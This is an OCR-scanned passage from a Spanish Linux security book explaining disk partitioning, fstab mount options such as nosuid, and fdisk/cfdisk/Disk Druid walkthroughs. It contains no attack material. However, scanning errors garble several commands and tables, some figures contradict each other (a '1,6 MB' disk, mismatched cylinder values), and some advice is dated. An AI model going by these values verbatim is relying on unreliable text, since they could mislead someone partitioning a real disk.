cuenta de que su investigacion es interesante y esclarecedora. Linux es un sistema
operativo que esta lleno de posibilidades y que admite aplicaciones verdaderamen-
te asombrosas. Por ejemplo, ¢necesita herramientas de secuenciacion de ADN o un
medio para ver las estructuras moleculares? No hay problema. Vaya a http:/SAL.
KachinaTech.COM/index.shtml.

Para finalizar, hay que sefalar que aun teniendo en cuenta todo esto, si Linux se
instala y se mantiene correctamente, ofrece una excelente seguridad. Sélo se nece-
sita una vision general de la seguridad en Linux, lo que, al fin y al cabo, es el objeti-
vo de este libro. Vamos a comenzar.

Particiones y seguridad

Durante la instalacion, Linux solicita que se haga una particién del disco duro.
En esta seccion se explica en qué medida puede afectar a la seguridad la forma en
que se realizan las particiones.

;Qué son exactamente las particiones?

Las particiones son areas del disco duro que se reservan para los sistemas de
archivos. Vamos a examinar sus relaciones con el disco duro.
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Los discos duros constan de una o varias capas llamadas discos. En particular,
las antiguas unidades SCSI, suelen tener varios discos. Véase la Figura 3.2.

Con varios Un solo

discos disco

FIGURA 3.2
Los discos duros pueden tener uno o varios discos.

La superficie de los discos se parece vagamente a la superficie de un disco de
vinilo. Véase la Figura 3.3.

Como muestra la Figura 3.3, los discos estan cubiertos por estructuras similares
a estrias, circulos que se van haciendo cada vez mas pequenos a medida que se
acercan al centro. Los espacios entre estos circulos son las pistas. Estas pistas se
dividen en unidades mas pequenas llamadas sectores, que contienen unidades aun
menores que graban bits de datos.

Vista
superior

Primer disco

FIGURA 3.3
Pistas, sectores y datos de un disco duro.
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El nimero total de pistas que ocupan la misma regién en todos los discos for-
man un cilindro. Véase la Figura 3 4.

Las particiones se componen de un conjunto de cilindros contiguos especifica-
dos por el usuario. Antiguamente, con DOS y Windows 3.11 (o incluso con la pri-
mera version de Windows 95) los usuarios s6lo necesitaban una particién, que ocu-
paba précticamente todo el disco y contenia los archivos del sistema, del usuario y
de intercambio. Véase la Figura 3.5.

Las pistas totales en el
mismo espacio son un
cilindro

FIGURA 3.4
Todas las pistas que ocupan un drea idéntica forman un cilindro.

Particion 1: DOS y Windows (Unidad C:)

\ Archivos de sistema
C:\\Windows
\ / C:\Windows\System
———————
e

Archivos de usuario Archivo de intercambio

FIGURA 3.5
La particién DOS ocupa casi todo el disco.

Desde el momento en que se ha extendido el uso de unidades de disco cuyo tamafio
supera los dos gigabytes, se ha producido un cambio. DOS-Windows y la primera
version de Windows 95 sé6lo pueden gestionar 2 GB o menos. Por consiguiente, para
acomodar un disco grande, habia que darle formato en incrementos de particiones
de 2 GB, donde la primera particién seria la unidad C:, la segunda particién seria la
unidad D, y asi sucesivamente. Las posteriores versiones de Windows 95 y Windows
NT no imponen dicha restriccion.

En Linux, es mas habitual tener dichas particiones, principalmente para mantener un
estricto control sobre el lugar en que acaban los datos. Normalmente, cuando se uti-
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liza una sola particién (como en DOS) tanto el sistema operativo como los usuarios
escriben los datos de forma arbitraria donde hay espacio libre, con lo que con el
paso del tiempo dichos datos acaban esparcidos, es dificil gestionarlos y estin
desorganizados.

Por el contrario, si se crean varias particiones todo esta algo mas ordenado. Por
ejemplo, se pueden separar los archivos de intercambio del sistema de los archivos
que se utilizan a diario. Cada particién posee de forma exclusiva un area especifica
del disco. La Figura 3.6 muestra un ejemplo de particiones bastante habitual.

FIGURA 3.6

Particién 1: intercambio de Linux [/dev/hda1]
Particién 2: intercambio de Linux [/dev/hda2]
Particién 3: nativa de Linux [/dev/hda3]

Aqui, el disco tiene dos particiones de intercambio y una particién nativa para archivos de Linux.

Otro caso frecuente es cuando se instalan dos o mas sistemas operativos en la mis-
ma unidad de disco, pero en distintas particiones, y pueden coexistir sin problemas.

Linux admite un amplio abanico de tipos de particion. La Tabla 3.1 muestra algu-
nos de los mas interesantes.

Tabla 3.1

Tipos de particiones que admite Linux

Nuamero

Tipo de particién

2

Root XENIX, un antiguo sistema operativo para PC basado en UNIX que
actualmente casi no se utiliza. Tiene una larga historia. En un principio se
basaba en la versién 7 de UNIX, posteriormente incorporé caracteristicas de
BSD 4.1y, finalmente, tras ajustarse a SYS V, ha habido muchas empresas,
entre las que se incluyen Microsoft y Santa Cruz Operation (SCO), que lo han
comercializado.

High Performance File System o HPFS, un sistema tolerante a fallos que
incorpora almacenamiento en caché avanzada, nombres de archivo largos y
compatibilidad con las estructuras de archivos tradicionalmente incompati-
bles. Es la base del sistema 0S/2. En la direccién http://www.cs.wisc.edu/
~bolo/shipyard/hpfs.html, puede encontrar mas informacién sobre HPFS.
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Tabla 3.1 Tipos de particiones que admite Linux  (continuacién)

Niamero Tipo de particion

8 AIX (UNIX de IBM).

40 Venix 80286, una version de UNIX de VentureCom compatible con System V.

63 GNU HURD, es de la fundacién Free Software Foundation y acabara siendo el
sustituto del kernel de UNIX. Para obtener mas informaciéon sobre HURD,
dirfjase a la pagina web http://www.gnu.org/software/hurd/hurd.html.

64 Novell NetWare.

81 Minix.

82 Particion de intercambio de Linux.

83 Particién nativa de Linux.

93 Amoeba, un sistema operativo distribuido que funciona en SPARCstations

(Sun4c y Sundm), asi como en 386/486, 68030, Sun 3/50 y Sun 3/60. Amoeba
se utiliza para aglutinar la potencia de varias estaciones de trabajo en un eficaz
bloque de potencia de computacion. Puede encontrar mas informacién acerca
de Amoeba en la direccion hitp://www.cs.vu.nl/pub/amoeba/.

Linux admite mas particiones de las que aparecen aqui. Si desea ver la lista com-
pleta, dirfjase a la direccion http:/linuxclub.mnf.nu/lsa/lsg18.htm#E69E130. Para
ver una lista completa de todos los tipos de particiones para PC (incluyendo las que
no son compatibles con Linux), vaya a http://www.win.tue.nl/math/dw/personalpa-
ges/aeb/linux/partitions/partition_types-1.html.

Muchas personas instalan DOS-Windows y Linux en el mismo disco duro, en
particiones independientes, ya que ello ofrece una mayor libertad y flexibilidad.
Pueden aprender Linux aunque el peso principal lo leve Windows y disfrutar de, al
menos, compatibilidad unidireccional. Véase la Figura 3.7.

FIGURA 3.7

Particién 1: intercambio de Linux [/dev/hdat]
Particion 2: tipo 82, intercambio de Linux [/dev/hda2]
Particién 3: tipo 83, nativa de Linux [/dev/hda3}

Visible desde
Linux

No visible desde
Windows

Linux y DOS/Windows pueden coexistir, pero Linux es el dnico que ofrece compatibilidad.
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Aunque DOS y Windows no pueden acceder a la particion de Linux, Linux pue-
de acceder a la particion de DOS; de ese modo puede copiar archivos entre los dis-
tintos sistemas de archivos.

NOTA

Durante la instalacién, Linux pide que se especifiquen sistemas adicionales o forane-
os a los que le gustaria acceder. Linux monta dichos sistemas de archivos en el direc-
torio que se elija. Una configuracidn tipica seria montar el sistema de archivos de
DOS desde Linux en /dos.

Los nedfitos en Linux suelen utilizar las configuraciones que muestran las Figu-
ras 3.6y 3.7, ya que son faciles de implementar. Muchos usuarios de Linux se sien-
ten satisfechos si pueden finalizar la instalacién sin problemas, por lo que son pro-
pensos a evitar esquemas de particiones mas complicados. Ademas, hay pocas
rutinas de instalacion que resalten las relaciones entre las particiones y la seguri-
dad, y no indican que dichas configuraciones conllevan ciertos riesgos. De hecho,
los escenarios que muestran las Figuras 3.6 y 3.7 exponen el sistema a ataques y
dificultan la capacidad para ejercer una administracion eficaz del sistema.

Agrupar Linux en una sola particion

En primer lugar, no se deben colocar los sistemas de archivos raiz y de usuario
en la misma particiéon de Linux. Si se hace, aumenta la posibilidad de que las per-
sonas que deseen realizar ataques puedan explotar los programas SUID para acce-
der a areas restringidas.

Los archivos SUID son especiales, ya que siempre se ejecutan con privilegios de pro-
pietario, independientemente de quién los ejecute. Por ejemplo, si root contiene un
programa SUID, éste se ejecutard con privilegios de root y tienen una considerable
potencia para acceder, modificar y sobrescribir archivos que, de otra forma, no se
podria alcanzar. Si cualquier atacante puede explotar las debilidades de los progra-
mas SUID, puede amenazar a todo el sistema. (En el Capitulo 4, "Administracién

basica del sistema Linux", puede encontrar mds informacién sobre los programas
SUID.)

Ademas, agrupar todo Linux en una sola particién nativa dificulta las tareas de
los administradores de sistemas. Por ejemplo, puede dificultar la capacidad para
actualizar o hacer copias de seguridad de los paquetes individuales o sistemas de
archivos. Y si todo el sistema Linux ocupa una particién, incluso unos pocos archi-
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vos daftados pueden provocar problemas (lo que significa que la jerarquia de un
directorio dafiado puede afectar a los restantes). Incluso puede obligar a reinstalar
Linux.

Para evitar estos problemas, cree una particion independiente para cada uno de
los sistemas principales de archivos. La Figura 3.8 muestra una posible configuracion.

Dicha configuracion mejora la seguridad y permite gestionar las copias de segu-
ridad y su posterior recuperacion. Puede especificar distintos programas de copia
de seguridad para las distintas particiones, los archivos del sistema se encuentran
separados de los archivos de datos, etc. Este método también permite ejercer un
control mas riguroso sobre los distintos sistemas de archivos y sobre la forma en
que se montan.

El término montar hace referencia a la forma en que Linux permite utilizar los distintos
sistemas de archivos. Cuando Linux monta un sistema de archivos local o externo,
conecta el sistema a un dispositivo o directorio local, lo que proporciona un punto de
acceso. Por ejemplo, para otorgar acceso a un CD-ROM, Linux asocia la unidad de CD-
ROM con el /dev/cdrom (normalmente) del dispositivo y hay que especificar un direc-
torio como punto de montaje (habitualmente /mnt/cdrom o /cdrom). A partir de ese
momento, se puede acceder al directorio superior del CD-ROM, en /cdrom, y sus sub-
directorios se encuentran debajo (/cdrom/docs, /cdrom/install, /cdrom/source, etc.).

Particion 1: intercambio de Linux [dev/hdat]
Particion 2: sistema de archivos raiz/root [/dev/hda2}
Particién 3: archivos binarios compartidos / usr [/dev/hda3]

Particion 4: particion de usuarios / home [/dev/hda4]

Particion 5: contabilidad y administracion / var [/dev/hda5)

FIGURA 3.8
Los sistemas principales de archivos se encuentran en particiones distintas.

Al iniciarse el sistema, Linux monta todos los sistemas de archivos disponibles
siguiendo las especificaciones establecidas en /etc/fstab. /etc/fstab puede utilizar-
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se para controlar estrictamente la forma en que los usuarios y el sistema acceden a
las particiones. Ahora, vamos a explicar rapidamente /etc/fstab.

/etc/fstab

/etc/fstab es el archivo de texto sin formato en el que se especifican las opcio-
nes de montaje de los sistemas de archivos. Cada linea gestiona un sistema de
archivos. Por ejemplo, la siguiente entrada especifica las opciones de montaje de un
sistema de archivos de MSDOS que puede montarse en /dos:

/dev/hda4 /dos msdos defaults 1 1
La linea consta de seis campos:

¢ Laespecificacién del sistema de archivos: aqui se especifica el dispositivo de
bloque o el sistema de archivos que se va a montar, en este caso la particion
4 en la primera unidad. Esto es lo que montara Linux.

¢ La ubicacion del sistema de archivos: el punto de montaje, en este caso es
/dos, una denominacién habitual para un punto de montaje del sistema de
archivos de DOS, como se ha explicado anteriormente.

e Eltipo del sistema de archivos: en este campo se describe el tipo del sistema
de archivos: Minix, extendido, DOS, HPFS, is09660/CDROM, Network File
System (NFS) o de intercambio.

e Las opciones del montaje del sistema de archivos: aqui se especifica el nivel
de acceso que tendran tanto los usuarios como el sistema en este sistema de
archivos montado. Aqui es donde entra en accion la seguridad. Estas son las

opciones:
defaults Todo (cuota, lectura-escritura y suid).
noquota Generalmente sin cuotas.
nosuid Sin acceso a SUID.
quota Las cuotas estan activas.
ro De sélo lectura.
rw Lectura-escritura.
suid El acceso a SUID es correcto.

e Parametros del volcado del sistema de archivos: es un valor numérico para
marcar los sistemas de archivos que hay que volcar (hacer copias de segu-
ridad).

e Numero de la secuencia de verificacién del sistema de archivos: aqui se espe-
cifica la prioridad del sistema de archivos para las verificaciones de integri-
dad que realiza fsck (fsck es un verificador de la integridad de los sistemas de
archivos que, de forma predeterminada, examina los sistemas de archivos).

¢Dénde hay que forzar un montaje nos«id? En cualquier lugar en el que los usua-
rios locales o remotos puedan estar haciendo el gamberro. Por ejemplo, imagine
que prevé proporcionar servicios de FTP an6nimos (no es una gran idea). En ese
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caso, quizas sea interesante crear una particion independiente para ello y montar
Linux en ella nosuid, lo que permite escribir datos, y seguir afrontando el problema
de SUID.

Otras ventajas de crear varias particiones

La existencia de varias particiones ofrece como minimo cuatro ventajas:

¢ Sencilla gestién de copias de seguridad y actualizaciones.

* Arranque mas rapido (en algunos casos).

e La capacidad para controlar cémo se monta cada sistema de archivos.
* Proteccion contra programas SUID renegados.

Hay otras ventajas. Una es que el método de varias particiones evita la denega-
cion de servicio accidental y protege de desbordamientos al sistema de archivos
raiz. Por ejemplo, /var almacena la informacion de registro. Si existe una sola par-
ticion que contiene los sistemas raiz /usr, /vary /tmp, los registros de /var pueden
desbordar literalmente todo el sistema de archivos (y también pueden hacerlo los
usuarios).

Dimensionar las particiones

Como se ha indicado, los usuarios nuevos tienden a huir de la creacién de varias
particiones (ademas de la de intercambio y la raiz). Ello se debe a que dicha crea-
cion obliga a tomar algunas decisiones peliagudas, como por ejemplo, el tamaio
que debe tener cada una de las particiones. Desgraciadamente, a excepcién de las
particiones raiz y de intercambio, esta duda no tiene ninguna respuesta claramente
definida. El tamafio maximo de algunas particiones debe ser de 128 MB, mientras
que el de la particién raiz debe ser de un minimo de 64 MB (aunque nosotros le
hemos asignado 100 MB).

En lo referente a otros sistemas de archivos, la elecciéon depende de distintos
factores. Uno de esos factores es la funcién que va a tener Linux. En sistemas con
varios usuarios, es muy probable que se desee dar a cada usuario, al menos, 20 MB
(v probablemente mas). Por consiguiente, para diez usuarios se necesita una parti-
cién /home de un minimo de 210 MB.

Algunos de estos valores son interdependientes. Por ejemplo, si va a haber
muchos usuarios y se les van a otorgar servicios de correo y noticias, las particio-
nes /var y /home tendran que ser importantes, a menos, por supuesto, que los
usuarios utilicen productos para correo electronico y noticias de otros fabricantes.
En ese caso, sus mensajes se almacenaran en su directorio /home/user, p. ej.,
/home/user/.netscape/.

Si se dispone de un firewall, sera necesaria una gran jerarquia de directorios de
registro que debe tener su propia particion. De hecho, es posible que haya que
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poner dicha particién en otra unidad de disco. De esa forma no se pierde informa-
cién de auditoria que sera muy valiosa si el sistema de archivos sufre algun dafio.

Sin embargo, en la mayoria de los casos las particiones de mayor tamano alber-
garan los directorios /usr y /home. Veamos un ejemplo conservador. Este es un
informe df de un disco duro IDE de 1,6 MB con una particion de intercambio de 128
MB que no aparece en la consulta df:

Filesystem 1024 -blocks Used Available Capacity Mounted on
/dev/hda2 66365 17160 45778 27% |/
/dev/hda5 373695 1549 352845 0% /home
/dev/hdaé 703417 344725 322356 52% /usr
/dev/hda7 127816 21235 99981 18% /var
/dev/hda8 123919 22 117498 0% /tmp

Esta es la informacion de fstab que aparece al finalizar la instalacion:

/dev/hda2 / ext2 defaults 0 1

/proc /proc proc defaults 0 @

/dev/hdal none swap defaults 0 0
/dev/hda5 /home ext2 defaults @ 2
/dev/hdaé /usr ext2 defaults @ 2
/dev/hda7 /var ext2 defaults @ 2
/dev/hda8 /tmp ext2 defaults 0 2

#

/dev/fd@ /mnt/floppy ext2 defaults,noauto @ @
" .

/dev/hdb /mnt/cdrom iso966@ ro,noauto @ 0

Observe que las particiones 5, 6, 7 y 8 son particiones logicas. En el mundo de
Intel slo se permiten cuatro particiones primarias o tres particiones primarias, una
particién extendida y varias particiones logicas. Para crear particiones adicionales,
en primer lugar hay que establecer una particion extendida y dividirla en particio-
nes logicas con fdisk o, si tiene Red Hat, con Disk Druid.

ADVERTENCIA

Algunas distribuciones ofrecen rutinas de instalacién faciles de utilizar que sugieren
automaticamente la organizacién del disco (de forma parecida a como lo hace Sola-
ris de Sun). Estas rutinas son cémodas, pero piénselo detenidamente antes de aceptar
dicho esquema. El motivo es que, aunque es posible cambiar el formato de las dis-
tintas particiones sin que ello afecte a todo el sistema, una vez que se les ha asigna-
do un tamafio, ya no es posible cambiarlo. La excepcién es cuando aln existe espa-
cio adicional sin particiones. No obstante, es conveniente crear las particiones desde
el principio en orden secuencial sin espacios entre ellas, a menos que haya un exce-
lente motivo para no hacerlo asi.
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Aunque es muy probable que ya haya utilizado fdisk, es posible que algunos de
los lectores de este libro todavia no hayan instalado Linux. Para ellos, vamos a
explicar rapidamente este comando.

fdisk

fdisk es un manipulador de particiones de Linux. Durante la instalacién, Linux
pasa de un entorno semi-grafico a una interfaz de linea de comandos para que se
puedan realizar las particiones del disco. En ese momento, es casi seguro que se
esta utilizando fdisk.

La linea de introduccion de comandos inicial de fdisk se parecera mucho a la
siguiente:

Using /dev/hda as default device!

The number of cylinders for this disk is set to 1579.

This is larger than 1024, and may cause problems with:

1) software that runs at boot time (e.g., LILO)

2) booting and partitioning software from other 0Ss
(e.g., DOS FDISK, 0S/2 FDISK)

Command (m for help):

Antes de proseguir, independientemente de que sea la primera o la quinta vez
que utiliza fdisk, revise la lista de comandos validos. De esta forma se puede fami-
liarizar con cada uno de ellos, lo que reduce la probabilidad de error. Para ver
todo el conjunto de comandos, escriba m y pulse Intro. fdisk imprimird un mend
de ayuda:

Command action

toggle a bootable flag

delete a partition

list known partition types
print this menu

add a new partition

print the partition table

quit without saving changes
change a partition's system id
change display/entry units
verify the partition table
write table to disk and exit
extra functionality (experts only)

X £ < C +0 T 353 3 AW

Antes de realizar cualquier cambio, examine también la tabla de particiones
actual. De esa forma puede verificar si ya existe alguna. Para ello, escriba p y pulse
Intro. Si trabaja con un disco sin particiones, fdisk imprimira una tabla en blanco:
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Disk /dev/hda: 32 heads, 63 sectors, 1579 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System

Command (m for help):
Ya est4 listo para empezar a crear las particiones.

De aqui en adelante, nos cefliremos a los valores del ejemplo anterior. Tendra
que ajustar los tamanos de las particiones de acuerdo con sus propias necesidades.
Esto no es mas que una guia que muestra como crear una particion extendida y par-
ticiones légicas dentro de ella. Hay muy pocos libros acerca de Linux que toquen
este tema. (La mayoria de los libros se centran en la instalacion de Red Hat. Red Hat
incluye Disk Druid, que es una herramienta semigrafica que simplifica el proceso.
Sin embargo, es probable que vaya a instalar otra distribucién que tenga fdisk en la
linea de comandos. Si es asi, esta seccion mostrara los pasos que hay que seguir
cuando se crean dichas particiones a mano.)

Crear la particion raiz y la de intercambio

En primer lugar, hay que crear la particion raiz y la de intercambio. En este
ejemplo, suponemos que la instalacién se realiza en un disco duro nuevo que no tie-
ne ningun otro sistema de archivos instalado.

Para crear una particion, escriba n y pulse Intro. fdisk le preguntara qué estilo
de particion desea. Escriba p y presione Intro si desea la primaria:

Command Action

e extended
p primary partition (1-4)
p

fdisk le pedira que asigne un niimero a la particion nueva. Esta es la primera parti-
cion primaria y albergara el archivo de intercambio, asi que elija 1:

Partition Number (1-4): 1

A continuacion, fdisk le pedira que especifique el lugar en el que comienza la
particion. Esta es la primera particién y desea escribirla desde el primer cilindro en
adelante, asi que elija 1:

First cylinder: (1-1579) 1

Finalmente, para completar el ciclo, fdisk le pedira que asigne un tamafo a la
particion. El tamafio del archivo de intercambio es un problema de preferencias
personales. En afos anteriores, los tutoriales de Linux recomendaban un método
por relacién: "Si tiene 8 MB de RAM, necesitara un archivo de intercambio de un
minimo de 16 MB". Hoy en dia, la memoria RAM es tan barata y todo el mundo tie-
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ne tanta que esto es innecesario y, en muchos casos, imposible. Actualmente, Linux
admite archivos de intercambio de 128 MB o menos.

En el caso del ejemplo anterior elija 128 MB:
Last cylinder or +size or +sizeM or +sizek (1-1579): +128M

Tras crear las particiones, examine la tabla de particiones de fdisk. De esta for-
ma, si comete algun error tipografico, puede detectarlo antes de grabarlo en el dis-
co. Este es el aspecto de la tabla actualizada tras crear la primera particion:

Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 1579 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hda1 1 130 131008+ 83 Linux native

. Observe que la particion es del tipo 83 (nativa de Linux) y hay que cambiarla.
Esta es la particion de intercambio, lo que indica que hay que designarla manual-
mente como tal. Para ello, escriba t y pulse Intro.

Command (m for help): t
fdisk solicitara el nimero de particién. Elija 1:
Partition number (1-4):1

Para finalizar, fdisk le preguntara qué tipo de particion desea. Elija 82 para con-
vertir la particion al formato de intercambio de Linux:

Hex Code (L to list): 82
Al volver a examinar la tabla de particiones, fdisk reflejara los cambios:

Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 1579 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hda1 1 130 131008+ 82 Linux swap

A continuacion, cree la particion raiz. De nuevo el tamafio depende de sus pre-
ferencias personales. Es suficiente asignarle 32 MB, aunque hay gente que le ha
asignado 100 MB. En cualquier caso, el procedimiento es el mismo. Hay que empe-
zar por crear una particion. Escriba n y pulse Intro. fdisk le preguntara qué tipo de
particion desea. De nuevo, tiene que escribir p y pulsar Intro para especificar que
desea la primaria:

Command Action

e extended
p primary partition (1-4)
p
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fdisk le pedira que asigne un numero a la particién nueva. Esta va a ser la segunda
particién primaria, asi que elija 2:

Partition Number (1-4): 2

A continuacion, fdisk le pedira que especifique el lugar en el que comienza la
particion:

First cylinder: (131-1579)

Observe que ahora el primer cilindro inicial valido es 131. Ello se debe a que la
particion de intercambio ocupa los cilindros 1 a 130. Por consiguiente, la particién
raiz comenzara en el cilindro 131:

First cylinder: (1-1560) 131

Y finalmente, fdisk le pedira que asigne un tamano a la particiéon. En este ejem-
plo vamos a asignarle 64 MB:

Last cylinder or +size or +sizeM or +sizek (131-1579):+64M

Los resultados muestran una particién de intercambio (tipo 82) y otra raiz (tipo
83) de Linux:

Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 1579 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hdal 1 130 131008+ 82 Linux swap
/dev/hda2 131 198 68544 83 Linux native

Crear la particion extendida

El siguiente paso consiste en crear una particion extendida que va a ocupar el
restante espacio del disco. Para crear una particiéon extendida, escriba n y pulse
Intro (nueva), y seleccione e de extendida:

Command Action
e extended

p primary partition (1-4)
e

fdisk le pedira que especifique el primer cilindro de la particion extendida. En este
caso, el primer cilindro disponible es el 199, asi que elija ese:

First cylinder: (199-1579):199

Para finalizar, fdisk le pedira que especifique el tltimo cilindro de la particion
extendida. Lo normal es que vaya al ultimo cilindro, ya que, de esa forma, la parti-
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cién extendida ocupara el restante espacio del disco. Sin embargo, en este ejemplo
va a dejar algo de espacio al final del disco, asi que especifique el cilindro 1560:

Last cylinder or +size or +sizeM or +sizek (199-1579): 1560
Este es el resultado:
Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 1579 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hda1l 1 130 131008+ 82 Linux swap
/dev/hda2 131 198 68544 83 Linux native
/dev/hda3 199 1560 1372896 5 Extended

Esta tabla muestra una particion de intercambio, una particién nativa y una par-
ticion extendida de Linux. La ultima tarea es asignar varias particiones logicas.

Crear particiones logicas en la particion extendida

Una vez que fdisk "sabe" que hay una particion extendida, su ment cambia. Para
crear la primera particion légica (para /home), escriba n y pulse Intro. Aparece un
menu nuevo en el que debe elegir 1 de légica:

Command Action
1 logical (5 or over)

p primary partition (1-4)
1

fdisk le pedira que especifique el primer cilindro de la nueva particion légica. Ten-
ga en cuenta que el primer cilindro disponible es el 199, que coincide con el que
especifico para la particion extendida. Ello se debe a que las particiones logicas
estaran sobre la particion extendida. Elija 199:

First cylinder: (199-1579):199

Para finalizar, fdisk le pedira que especifique el ultimo cilindro de esta particion
légica. Para asignar 370 MB a /home, seleccione 581:

Last cylinder or +size or +sizeM or +sizek (199-1579): 581
Este es el resultado hasta el momento:
Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 1579 cylinders
Units = cylinders of 2016 * 512 bytes
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Device Boot Start End Blocks Id System
/dev/hda1 1 130 131008+ 82 Linux swap
/dev/hda2 131 198 68544 83 Linux native
/dev/hda3 199 1560 1372896 5 Extended
/dev/hda5 199 581 386032+ 83 Linux native

Aiiada las restantes particiones (/usr, /var y /tmp) de la misma forma. Esta es
la secuencia de /usr:

Command Action

1 logical (5 or over)

p primary partition (1-4)

1

First cylinder: (582-1579):582

Last cylinder or +size or +sizeM or +sizek (581-1579): 1302

Esta es la secuencia de /var:
Command Action

1 logical (5 or over)

p primary partition (1-4)

1

First cylinder: (1303-1579):1303

Last cylinder or +size or +sizeM or +sizek (13@3-1579): 1433

Y, finalmente, ésta es la secuencia de /tmp:

Command Action

1 logical (5 or over)

o] primary partition (1-4)

1

First cylinder: (1433-1579):1303

Last cylinder or +size or +sizeM or +sizek (1433-1579): 1560

Cuando se ve el resultado final, fdisk reflejara los siguientes cambios:

Command (m for help): p

Disk /dev/hda: 32 heads, 63 sectors, 1579 cylinders
Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hda1 1 130 131008+ 82 Linux swap
/dev/hda2 131 198 68544 83 Linux native
/dev/hda3 199 1560 1372896 5 Extended
/dev/hda5 199 581 386032+ 83 Linux native
/dev/hdaé 582 1302 726736+ 83 Linux native
/dev/hda7 1303 1433 132016+ 83 Linux native

/dev/hda8 1434 1560 127984+ 83 Linux native
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Tras lograr y verificar que el resultado es el deseado, seleccione w para salir de
fdisk, guardar de forma permanente estos cambios en el disco y volver al programa
de instalacién principal.

NOTA

En algunos programas de instalacion de Linux no es necesario reiniciar el equipo tras los
cambios de fdisk. Sin embargo, es recomendable hacerlo para asegurarse de que los cam-
bios se escriben correctamente en el disco. Puede tomar una precaucién mds, verifique
que los cambios se han guardado en el disco después de que se reinicie la maquina.

Otras herramientas de particion

No todos los programas de instalacion de Linux utilizan fdisk para crear las par-
ticiones. En su lugar, es posible que tenga que utilizar cfdisk o Disk Druid. Estas
herramientas son mucho mas faciles de utilizar.

cfdisk

cfdisk es un manipulador de particiones de Linux que utiliza Curses.

Curses es un paquete de desarrollo para crear programas con menus en termi-
nales UNIX. Las aplicaciones de Curses recuerdan vagamente a los antiguos pro-
gramas de DOS, en los que era posible desplazarse por las opciones de menu utili-
zando las teclas del cursor. Las aplicaciones tradicionales de Curses tienen el fondo
negro y el primer plano blanco. Las opciones de ment aparecen en blanco hasta
que se resaltan con una barra blanca, momento en que el texto resaltado pasa a ser
negro. Para conocer mejor la programacion en Curses, véase la pagina web
http://aotech.tuwien.ac.at/~dusty/ncurses-intro.html.

cfdisk presenta una interfaz comoda por la que es muy facil desplazarse. Véase
la Figura 3.9.

Estadisticas del disco

4 Mena de comandos

FIGURA 3.9
Las particiones vistas en el entorno Curses de cfdisk.



|71

Lo normal es que no tenga ningun problema para desplazarse por cfdisk utili-
zando las teclas del cursor; el programa proporciona una gran ayuda al respecto.
Sin embargo, en la Tabla 3.2 hemos incluido un resumen de las teclas importantes
de cfdisk y de sus funciones. Este resumen es util si en la primera instalacién tiene
que utilizar cfdisk, pero tiene muy poca o ninguna documentacion, lo que es un pro-
blema habitual.

Tabla 3.2 Teclas de comandos en cfdisk

Tecla

Funcién

?

R A o

s"’.Q’O:!T

Obtener ayuda.
Definir (o anular) la parte resaltada como iniciable.
Eliminar la particién resaltada.

Entrar en un modo experto en el que se puede modificar la geometria del disco.
Advertencia: utilice esta funcion con precaucion. Es muy parecido a especificar
la configuracién de su disco duro (cabezas, cilindros, bloques) en la BIOS. Es
posible que los valores autodetectados de cfdisk sean correctos. Si especifica
valores erroneos, puede darse el caso de que el sistema Linux no arranque.

Obtener ayuda.

Crear una particion.

Obtener e imprimir la informacion de la tabla de particiones actual.

Salir de cfdisk.

Cambiar el tipo de sistema de archivos (como funciona en fdisk).

Escribir los cambios en el disco (el comando W debe escribirse en mayusculas).

Disk Druid

Disk Druid, habitual en la instalacion de Red Hat como alternativa a fdisk, es atin
mas facil de utilizar. La aplicacion es totalmente grafica. Véase la Figura 3.10.

Hourt Poirt fevice  Reguested  fictual T.pe

Drawe Summar 1es
I 1ue Geom [(H/S) Total Uzed Free
1575 1594 thoh. b 1t

Dele

FIGURA 3.10
Pantalla inicial de Disk Druid.
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Para afiadir particiones, resalte el botén Add y pulse Intro. Disk Druid muestra
un cuadro de didlogo con todas las opciones necesarias. Véase la Figura 3.11.

I Edit New Partition I
Mount pon: |
Size (Megs):
(Megs) Type: Linux Swap
Growable?:
DOS 16-bit <32M
Allowable Drives: DOS 16-bit >=32M

=
FIGURA 3.11

Pantalla de edicién de Disk Druid.

Resumen de las particiones y de la seguridad

Dado que las particiones tienen una gran influencia en la seguridad del sistema,
es aconsejable que pondere con sumo cuidado las opciones antes de la instalacion.
Tomar las decisiones finales no sera nunca sencillo.

El equilibrio de la carga del disco es probablemente el aspecto mas desafiante de
la creacion de particiones, sobre todo en discos pequefios. Al crear varias particio-
nes se limita la capacidad de crecimiento de los sistemas de archivos. En determi-
nados casos eso es precisamente lo que se desea. Sin embargo, es irritante darse
cuenta muy tarde de que no se ha asignado el espacio del disco de forma correcta.

Algo que puede ayudarle es conocer las funciones de los distintos sistemas de
archivos. Dichas funciones son:

o /: contiene relativamente pocos archivos (sobre todo scripts de inicio).

e /usr: contiene la mayoria del software.

* /home: contiene los directorios del usuario.

e /opt: es para software complementario de terceros (Netscape, StarOffice,
etc.).

e /var: contiene registros administrativos, correo y noticias.

El equilibrio del disco también resulta de gran ayuda para desarrollar politicas
para los conjuntos de aplicaciones constantes. Por ejemplo, es posible que limite el
software de terceros a Netscape Communicator, StarOffice y Corel WordPerfect,
con lo que no necesita realizar una particién /var grande y proporciona una figura
ballpark del tamafio que debe tener /opt.
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Por supuesto, no hay ninguna ley que le obligue a crear una docena de particio-
nes. Los parametros de la particion de los ejemplos anteriores sélo se han utilizado
para facilitar las explicaciones. Es posible trabajar perfectamente con solo tres par-
ticiones, sobre todo si inicamente van a acceder al sistema Linux unos pocos usua-
rios. Puede evaluar con precision el nimero de particiones que va a necesitar y qué
sistema de archivos ha de dejar aparte.

Estos son algunos consejos importantes al respecto:

¢ Es posible que prefiera un menor nimero de particiones o dar prioridad a
aquellos sistemas de archivos que hay que dejar aparte. En ese caso, los sis-
temas de archivos importantes que deben estar en particiones independien-
tes son el raiz (/), /var y /tmp desde el punto de vista de la seguridad, o el
